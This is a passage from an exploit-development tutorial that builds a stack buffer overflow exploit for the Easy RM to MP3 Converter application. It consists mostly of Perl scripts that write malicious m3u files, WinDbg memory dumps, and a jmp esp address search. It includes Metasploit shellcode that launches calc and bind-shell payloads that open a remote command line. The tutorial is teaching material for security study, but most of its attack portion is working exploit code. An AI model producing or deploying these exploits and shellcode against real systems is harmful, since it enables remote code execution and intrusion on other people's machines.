000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Ok, we can see 2 interesting things here:
 ESP starts at the 5th character of our pattern, and not the first character. You can find out
why by looking at this forum post : http://www.corelan.be:8800/index.php/forum/writing-
exploits/question-about-esp-in-tutorial-pt1
 After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the
buffer (26101 A’s), so we may also be able to put our shellcode in the first part of the
buffer (before overwriting RET)…
But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the test
again. If all goes well, ESP should now point directly at the beginning of our pattern:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfullyn";
Let the application crash and look at ESP again
0:000> d ESP
000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC
000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG
000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK
000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEFGHIJK6ABC
000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG
000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK
000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC
000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG
0:000> d
000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEFGHIJK
000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
111 | P a g e
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Much better !
We now have
 control over EIP
 An area where we can write our code (at least 144 bytes large. If you do some more tests
with longer patterns, you will see that you have even more space… plenty of space in fact)
 a register that directly points at our code, at address 0x000ff730
Now we need to
 build real shellcode
 Tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting
EIP with 0x000ff730.
Let’s see
We’ll build a small test case: first 26094 A’s, then overwrite EIP with 000ff730, and then put 25
NOP’s, then a break, and then more NOP’s.
If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until the
break.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "x90" x 25;
$shellcode = $shellcode."xcc";
$shellcode = $shellcode."x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfullyn";
The application died, but we expected a break instead of an access violation.
When we look at EIP, it points to 000ff730, and so does ESP.
When we dump ESP, we don’t see what we had expected.
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
112 | P a g e
eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.DLL>+0xff71f:
000ff730 0000 add byte ptr [eax],al ds:0023:00000001=??
0:000> d ESP
000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ......
000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
So jumping directly to a memory address may not be a good solution after all. (000ff730
contains a null byte, which is a string terminator… so the A’s you are seeing are coming from the
first part of the buffer… We never reached the point where we started writing our data after
overwrite EIP…
Besides, using a memory address to jump to in an exploit would make the exploit very
unreliable. After all, this memory address could be different in other OS versions, languages,
etc…)
Long story short: we cannot just overwrite EIP with a direct memory address such as 000ff730.
It’s not a good idea because it would not be reliable, and it’s not a good idea because it contains
a null byte. We have to use another technique to achieve the same goal: make the application
jump to our own provided code. Ideally, we should be able to reference a register (or an offset
to a register), ESP in our case, and find a function that will jump to that register. Then we will
try to overwrite EIP with the address of that function and it should be time for pancakes and ice-
cream.
Jump to the shellcode in a reliable way
We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a
different angle, ESP points directly at the beginning of our shellcode). If that would not have
been the case, we would have looked to the contents of other register addresses and hope to
find our buffer back. Anyways, in this particular example, we can use ESP.
The reasoning behind overwriting EIP with the address of ESP was that we want the application
to jump to ESP and run the shellcode.
113 | P a g e
Jumping to ESP is a very common thing in windows applications. In fact, Windows applications
use one or more DLL’s, and these DLL’s contains lots of code instructions. Furthermore, the
addresses used by these DLL’s are pretty static. So if we could find a DLL that contains the
instruction to jump to ESP, and if we could overwrite EIP with the address of that instruction in
that DLL, then it should work, right?
Let’s see. First of all, we need to figure out what the opcodes for “jmp esp” is.
We can do this by Launching Easy RM to MP3, then opening Windbg and hook Windbg to the
Easy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM to
MP3). This gives us the advantage that Windbg will see all DLL’s/modules that are loaded by the
application. (It will become clear why I mentioned this)
Upon attaching the debugger to the process, the application will break.
In the windbg command line, at the bottom of the screen, enter a (assemble) and press return
Now enter jmp esp and press return
Press return again.
Now enter u (unassemble) followed by the address that was shown before entering jmp esp
0:014> u 7c90120e
ntdll!DbgBreakPoint:
114 | P a g e
7c90120e ffe4 jmp esp
7c901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc int 3
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
7c90121b c20400 ret 4
Next to 7c90120e, you can see ffe4. This is the opcodes for jmp ESP
Now we need to find this opcodes in one of the loaded DLL’s.
Look at the top of the Windbg window, and look for lines that indicate DLL’s that belong to the
Easy RM to MP3 application:
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** Wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path. *
* Use .symfix to have the debugger choose a symbol path. *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 004be000 C:Program FilesEasy RM to MP3
ConverterRM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000 C:WINDOWSsystem32ntdll.DLL
ModLoad: 7c800000 7c8f6000 C:WINDOWSsystem32kernel32.DLL
ModLoad: 78050000 78120000 C:WINDOWSsystem32WININET.DLL
ModLoad: 77c10000 77c68000 C:WINDOWSsystem32msvcrt.DLL
ModLoad: 77f60000 77fd6000 C:WINDOWSsystem32SHLWAPI.DLL
ModLoad: 77dd0000 77e6b000 C:WINDOWSsystem32ADVAPI32.DLL
ModLoad: 77e70000 77f02000 C:WINDOWSsystem32RPCRT4.DLL
ModLoad: 77fe0000 77ff1000 C:WINDOWSsystem32Secur32.DLL
ModLoad: 77f10000 77f59000 C:WINDOWSsystem32GDI32.DLL
ModLoad: 7e410000 7e4a1000 C:WINDOWSsystem32USER32.DLL
ModLoad: 00330000 00339000 C:WINDOWSsystem32Normaliz.DLL
ModLoad: 78000000 78045000 C:WINDOWSsystem32iertutil.DLL
ModLoad: 77c00000 77c08000 C:WINDOWSsystem32VERSION.DLL
ModLoad: 73dd0000 73ece000 C:WINDOWSsystem32MFC42.DLL
ModLoad: 763b0000 763f9000 C:WINDOWSsystem32comdlg32.DLL
ModLoad: 5d090000 5d12a000 C:WINDOWSsystem32COMCTL32.DLL
ModLoad: 7c9c0000 7d1d7000 C:WINDOWSsystem32SHELL32.DLL
115 | P a g e
ModLoad: 76080000 760e5000 C:WINDOWSsystem32MSVCP60.DLL
ModLoad: 76b40000 76b6d000 C:WINDOWSsystem32WINMM.DLL
ModLoad: 76390000 763ad000 C:WINDOWSsystem32IMM32.DLL
ModLoad: 773d0000 774d3000 C:WINDOWSWinSxSx86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83comctl32.DLL
ModLoad: 74720000 7476c000 C:WINDOWSsystem32MSCTF.DLL
ModLoad: 755c0000 755ee000 C:WINDOWSsystem32msctfime.ime
ModLoad: 774e0000 7761d000 C:WINDOWSsystem32ole32.DLL
ModLoad: 10000000 10071000 C:Program FilesEasy RM to MP3
ConverterMSRMfilter03.DLL
ModLoad: 71ab0000 71ac7000 C:WINDOWSsystem32WS2_32.DLL
ModLoad: 71aa0000 71aa8000 C:WINDOWSsystem32WS2HELP.DLL
ModLoad: 00ce0000 00d7f000 C:Program FilesEasy RM to MP3
ConverterMSRMfilter01.DLL
ModLoad: 01a90000 01b01000 C:Program FilesEasy RM to MP3
ConverterMSRMCcodec00.DLL
ModLoad: 00c80000 00c87000 C:Program FilesEasy RM to MP3
ConverterMSRMCcodec01.DLL
ModLoad: 01b10000 01fdd000 C:Program FilesEasy RM to MP3
ConverterMSRMCcodec02.DLL
ModLoad: 01fe0000 01ff1000 C:WINDOWSsystem32MSVCIRT.DLL
ModLoad: 77120000 771ab000 C:WINDOWSsystem32OLEAUT32.DLL
If we can find the opcode in one of these DLL’s, then we have a good chance of making the
exploit work reliably across windows platforms. If we need to use a DLL that belongs to the OS,
then we might find that the exploit does not work for other versions of the OS. So let’s search
the area of one of the Easy RM to MP3 DLL’s first.
We’ll look in the area of C:Program FilesEasy RM to MP3 ConverterMSRMCcodec02.DLL. This
DLL is loaded between 01b10000 and 01fd000. Search this area for ff e4:
0:014> s 01b10000 l 01fdd000 ff e4
01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... ..........
01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...
01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb .......y.......
01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........
116 | P a g e
0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............
Excellent, we should not expect otherwise… jmp ESP is a pretty common instruction). When
selecting an address, it is important to look for null bytes. You should try to avoid using
addresses with null bytes (especially if you need to use the buffer data that comes after the EIP
overwrite. The null byte would become a string terminator and the rest of the buffer data will
become unusable).
Another good area to search for opcodes is
“s 70000000 l fffffff ff e4” (which would typically give results from windows DLL’s)
Note: there are other ways to get opcode addresses:
 findjmp (from Ryan Permeh) : compile findjmp.c and run with the following parameters :
Findjmp <DLLfile> <register>. Suppose you want to look for jumps to esp in kernel32.DLL,
run “findjmp kernel32.DLL esp”
On Vista SP2, you should get something like this:
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.DLL for code useable with the ESP register
0x773AF74B call ESP
Finished Scanning kernel32.DLL for code useable with the ESP register
Found 1 usable addresses
 The MetaSploit opcode database
 memdump (see one of the next tutorial posts
 pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended
because it will automatically filter unreliable pointers.
Since we want to put our shellcode in ESP (which is placed in our payload
string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this
address would have null bytes, we would overwrite EIP with an address that contains null
bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In
some cases, it would be ok to have an address that starts with a null byte. If the address starts
with a null byte, because of little endian, the null byte would be the last byte in the EIP
register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed
before overwriting EIP, and it is still reachable via a register), then this will work.
Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address
should not contain null bytes.
The first address will do: 0x01ccf23a
Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a):
0:014> u 01ccf23a
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:
01ccf23a ffe4 jmp esp
117 | P a g e
01ccf23c ff8d4e10c744 dec dword ptr <Unloaded_POOL.DRV>+0x44c7104d
(44c7104e)[ebp]
01ccf242 2410 and al,10h
01ccf244 ff ???
01ccf245 ff ???
01ccf246 ff ???
01ccf247 ff ???
01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)
If we now overwrite EIP with 0x01ccf23a, a jmp ESP will be executed. ESP contains our
shellcode… so we should now have a working exploit. Let’s test with our “NOP & break”
shellcode.
Close Windbg.
Create a new m3u file using the script below:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);
my $shellcode = "x90" x 25;
$shellcode = $shellcode."xcc"; #this will cause the application to break, simulating shellcode,
but allowing you to further debug
$shellcode = $shellcode."x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfullyn";
(21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.DLL>+0xff734:
000ff745 cc int 3
0:000> d ESP
000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
118 | P a g e
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Run the application again, attach Windbg, press "g" to continue to run, and open the new m3u
file in the application.
The application now breaks at address 000ff745, which is the location of our first break. So the
jmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ff744).
All we need to do now is put in our real shellcode and finalize the exploit.
Close Windbg again.
Get shellcode and finalize the exploit
MetaSploit has a nice payload generator that will help you building shellcode. Payloads come
with various options, and (depending on what they need to do), can be small or very large. If
you have a size limitation in terms of buffer space, then you might even want to look at multi-
staged shellcode, or using specifically handcrafted shellcodes such as this one (32byte cmd.exe
shellcode for xp sp2 en). Alternatively, you can split up your shellcode in smaller ‘eggs’ and use a
technique called ‘egg-hunting’ to reassemble the shellcode before executing it.
Let’s say we want calc to be executed as our exploit payload, and then the shellcode could look
like this:
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" .
"x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30" .
"x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa" .
"x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96" .
"x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b" .
"xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a" .
"xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83" .
"x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98" .
"xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61" .
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05" .
"x7fxe8x7bxca";
Finalize the perl script, and try it out:
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
119 | P a g e
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL
my $shellcode = "x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" .
"x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30" .
"x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa" .
"x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96" .
"x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b" .
"xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a" .
"xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83" .
"x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98" .
"xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61" .
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05" .
"x7fxe8x7bxca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfullyn";
First, turn off the autopopup registry setting to prevent the debugger from taking over. Create
the m3u file, open it and watch the application dies (and calc should be opened as well).
Boom! We have our first working exploit!
120 | P a g e
You may have noticed that I kept 25 nops (0×90) before the shellcode. Don’t worry about it
too much right now. We will continue to learn about exploitation (and when you reach the
chapter about writing shellcode), you will learn why this may be required.
What if you want to do something else than launching calc?
You could create other shellcode and replace the “launch calc” shellcode with your new
shellcode, but this code may not run well because the shellcode may be bigger, memory
locations may be different, and longer shellcode increases the risk on invalid characters in the
shellcode, which need to be filtered out.
Let’s say we want the exploit bind to a port so a remote hacker could connect and get a
command line.
This shellcode may look like this:
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"x31xc9xbfxd3xc0x5cx46xdbxc0xd9x74x24xf4x5d" .
"xb1x50x83xedxfcx31x7dx0dx03x7dxdex22xa9xba" .
"x8ax49x1fxabxb3x71x5fxd4x23x05xccx0fx87x92" .
"x48x6cx4cxd8x57xf4x53xcexd3x4bx4bx9bxbbx73" .
"x6ax70x0axffx58x0dx8cx11x91xd1x16x41x55x11" .
"x5cx9dx94x58x90xa0xd4xb6x5fx99x8cx6cx88xab" .
"xc9xe6x97x77x10x12x41xf3x1exafx05x5cx02x2e" .
"xf1x60x16xbbx8cx0bx42xa7xefx10xbbx0cx8bx1d" .
"xf8x82xdfx62xf2x69xafx7exa7xe5x10x77xe9x91" .
121 | P a g e
"x1exc9x1bx8ex4fx29xf5x28x23xb3x91x87xf1x53" .
"x16x9bxc7xfcx8cxa4xf8x6bxe7xb6x05x50xa7xb7" .
"x20xf8xcexadxabx86x3dx25x36xdcxd7x34xc9x0e" .
"x4fxe0x3cx5ax22x45xc0x72x6fx39x6dx28xdcxfe" .
"xc2x8dxb1xffx35x77x5dx15x05x1excex9cx88x4a" .
"x98x3ax50x05x9fx14x9ax33x75x8bx35xe9x76x7b" .
"xddxb5x25x52xf7xe1xcax7dx54x5bxcbx52x33x86" .
"x7axd5x8dx1fx83x0fx5dxf4x2fxe5xa1x24x5cx6d" .
"xb9xbcxa4x17x12xc0xfexbdx63xeex98x57xf8x69" .
"x0cxcbx6dxffx29x61x3exa6x98xbax37xbfxb0x06" .
"xc1xa2x75x47x22x88x8bx05xe8x33x31xa6x61x46" .
"xcfx8ex2exf2x84x87x42xfbx69x41x5cx76xc9x91" .
"x74x22x86x3fx28x84x79xaaxcbx77x28x7fx9dx88" .
"x1ax17xb0xaex9fx26x99xafx49xdcxe1xafx42xde" .
"xcexdbxfbxdcx6cx1fx67xe2xa5xf2x98xccx22x03" .
"xecxe9xedxb0x0fx27xeexe7";
As you can see, this shellcode is 344 bytes long (and launching calc only took 144 bytes).
If you just copy & paste this shellcode, you may see that the vulnerable application does not
even crash anymore.
This – most likely – indicates either a problem with the shellcode buffer size (but you can test
the buffer size, you’ll notice that this is not the issue), or we are faced with invalid characters in
the shellcode. You can exclude invalid characters when building the shellcode with MetaSploit,
but you’ll have to know which characters are allowed and which aren’t. By default, null bytes
are restricted (because they will break the exploit for sure), but what are the other characters?
The m3u file probably should contain filenames. So a good start would be to filter out all
characters that are not allowed in filenames and file paths. You could also restrict the character
set altogether by using another decoder. We have used shikata_ga_nai, but perhaps
alpha_upper will work better for filenames. Using another encoded will most likely increase the
shellcode length, but we have already seen (or we can simulate) that size is not a big issue.
Let’s try building a TCP shell bind, using the alpha_upper encoder. We’ll bind a shell to local
port 4444. The new shellcode is 703 bytes.
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
122 | P a g e
"x89xe1xdbxd4xd9x71xf4x58x50x59x49x49x49x49" .
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" .
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41" .
"x42x41x41x42x54x41x41x51x32x41x42x32x42x42" .
"x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx42" .
"x4ax4ax4bx50x4dx4bx58x4cx39x4bx4fx4bx4fx4b" .
"x4fx43x50x4cx4bx42x4cx51x34x51x34x4cx4bx47" .
"x35x47x4cx4cx4bx43x4cx44x45x44x38x45x51x4a" .
"x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x43" .
"x31x4ax4bx50x49x4cx4bx46x54x4cx4bx43x31x4a" .
"x4ex46x51x49x50x4ax39x4ex4cx4dx54x49x50x44" .
"x34x45x57x49x51x49x5ax44x4dx43x31x49x52x4a" .
"x4bx4ax54x47x4bx51x44x51x34x47x58x44x35x4a" .
"x45x4cx4bx51x4fx47x54x43x31x4ax4bx45x36x4c" .
"x4bx44x4cx50x4bx4cx4bx51x4fx45x4cx45x51x4a" .
"x4bx44x43x46x4cx4cx4bx4dx59x42x4cx46x44x45" .
"x4cx43x51x48x43x46x51x49x4bx45x34x4cx4bx50" .
"x43x50x30x4cx4bx51x50x44x4cx4cx4bx42x50x45" .
"x4cx4ex4dx4cx4bx51x50x45x58x51x4ex43x58x4c" .
"x4ex50x4ex44x4ex4ax4cx50x50x4bx4fx48x56x43" .
"x56x50x53x45x36x45x38x50x33x50x32x42x48x43" .
<...>
"x50x41x41";
Let’s use this shellcode. The new exploit looks like this : P.S. I have manually broken the
shellcode shown here. So if you copy & paste the exploit it will not work. But you should know
by now how to make a working exploit.
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL
my $shellcode = "x90" x 25;
# windows/shell_bind_tcp - 703 bytes
123 | P a g e
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."x89xe1xdbxd4xd9x71xf4x58x50x59x49x49x49x49" .
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" .
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41" .
"x42x41x41x42x54x00x41x51x32x41x42x32x42x42" .
"x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx42" .
"x4ax4ax4bx50x4dx4bx58x4cx39x4bx4fx4bx4fx4b" .
"x4fx43x50x4cx4bx42x4cx51x34x51x34x4cx4bx47" .
"x35x47x4cx4cx4bx43x4cx44x45x44x38x45x51x4a" .
"x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x43" .
"x31x4ax4bx50x49x4cx4bx46x54x4cx4bx43x31x4a" .
"x4ex46x51x49x50x4ax39x4ex4cx4dx54x49x50x44" .
"x34x45x57x49x51x49x5ax44x4dx43x31x49x52x4a" .
"x4bx4ax54x47x4bx51x44x51x34x47x58x44x35x4a" .
"x45x4cx4bx51x4fx47x54x43x31x4ax4bx45x36x4c" .
"x4bx44x4cx50x4bx4cx4bx51x4fx45x4cx45x51x4a" .
"x4bx44x43x46x4cx4cx4bx4dx59x42x4cx46x44x45" .
"x4cx43x51x48x43x46x51x49x4bx45x34x4cx4bx50" .
"x43x50x30x4cx4bx51x50x44x4cx4cx4bx42x50x45" .
"x4cx4ex4dx4cx4bx51x50x45x58x51x4ex43x58x4c" .
"x4ex50x4ex44x4ex4ax4cx50x50x4bx4fx48x56x43" .
"x56x50x53x45x36x45x38x50x33x50x32x42x48x43" .
"x47x43x43x47x42x51x4fx50x54x4bx4fx48x50x42" .
"x48x48x4bx4ax4dx4bx4cx47x4bx50x50x4bx4fx48" .
"x56x51x4fx4dx59x4dx35x45x36x4bx31x4ax4dx43" .
"x38x43x32x46x35x43x5ax44x42x4bx4fx4ex30x42" .
"x48x48x59x45x59x4cx35x4ex4dx50x57x4bx4fx48" .
"x56x46x33x46x33x46x33x50x53x50x53x50x43x51" .
"x43x51x53x46x33x4bx4fx4ex30x43x56x45x38x42" .
"x31x51x4cx42x46x46x33x4cx49x4dx31x4ax35x42" .
"x48x4ex44x44x5ax44x30x49x57x50x57x4bx4fx48" .
"x56x43x5ax44x50x50x51x51x45x4bx4fx4ex30x43" .
"x58x49x34x4ex4dx46x4ex4bx59x50x57x4bx4fx4e" .
"x36x50x53x46x35x4bx4fx4ex30x42x48x4dx35x50" .
"x49x4dx56x50x49x51x47x4bx4fx48x56x50x50x50" .
"x54x50x54x46x35x4bx4fx48x50x4ax33x45x38x4a" .
"x47x44x39x48x46x43x49x50x57x4bx4fx48x56x50" .
"x55x4bx4fx48x50x42x46x42x4ax42x44x45x36x45" .
"x38x45x33x42x4dx4dx59x4bx55x42x4ax46x30x50" .
"x59x47x59x48x4cx4bx39x4ax47x43x5ax50x44x4b" .
